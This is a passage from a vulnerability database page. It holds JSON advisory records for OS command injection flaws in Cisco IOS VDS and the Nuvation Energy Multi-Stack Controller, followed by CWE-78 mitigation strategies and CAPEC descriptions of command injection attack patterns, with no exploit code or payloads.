"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0854"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10623-4f523-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10624-6599c-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V5XR-CPV8-M8MV
Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2024-04-04 02:52A vulnerability in the CLI parsers of Cisco IOS Software for Cisco 809 and 829 Industrial Integrated Services Routers (Industrial ISRs) and Cisco 1000 Series Connected Grid Routers (CGR1000) could allow an authenticated, local attacker to execute arbitrary shell commands on the Virtual Device Server (VDS) of an affected device. The attacker must have valid user credentials at privilege level 15. The vulnerability is due to insufficient validation of arguments that are passed to specific VDS-related CLI commands. An attacker could exploit this vulnerability by authenticating to the targeted device and including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands in the context of the Linux shell of VDS with the privileges of the root user.
{
"affected": [],
"aliases": [
"CVE-2020-3210"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-03T18:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the CLI parsers of Cisco IOS Software for Cisco 809 and 829 Industrial Integrated Services Routers (Industrial ISRs) and Cisco 1000 Series Connected Grid Routers (CGR1000) could allow an authenticated, local attacker to execute arbitrary shell commands on the Virtual Device Server (VDS) of an affected device. The attacker must have valid user credentials at privilege level 15. The vulnerability is due to insufficient validation of arguments that are passed to specific VDS-related CLI commands. An attacker could exploit this vulnerability by authenticating to the targeted device and including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands in the context of the Linux shell of VDS with the privileges of the root user.",
"id": "GHSA-v5xr-cpv8-m8mv",
"modified": "2024-04-04T02:52:00Z",
"published": "2022-05-24T17:19:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3210"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ios-iot-vds-cmd-inj-VfJtqGhE"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V668-5QXG-QHJH
Vulnerability from github – Published: 2026-01-03 00:31 – Updated: 2026-02-26 21:31Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows OS Command Injection.This issue affects Multi-Stack Controller (MSC): from 2.3.8 before 2.5.1.
{
"affected": [],
"aliases": [
"CVE-2025-64120"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-02T22:15:44Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability in Nuvation Energy Multi-Stack Controller (MSC) allows OS Command Injection.This issue affects Multi-Stack Controller (MSC): from 2.3.8 before 2.5.1.",
"id": "GHSA-v668-5qxg-qhjh",
"modified": "2026-02-26T21:31:25Z",
"published": "2026-01-03T00:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64120"
},
{
"type": "WEB",
"url": "https://www.dragos.com/community/advisories/CVE-2025-64119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:I/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.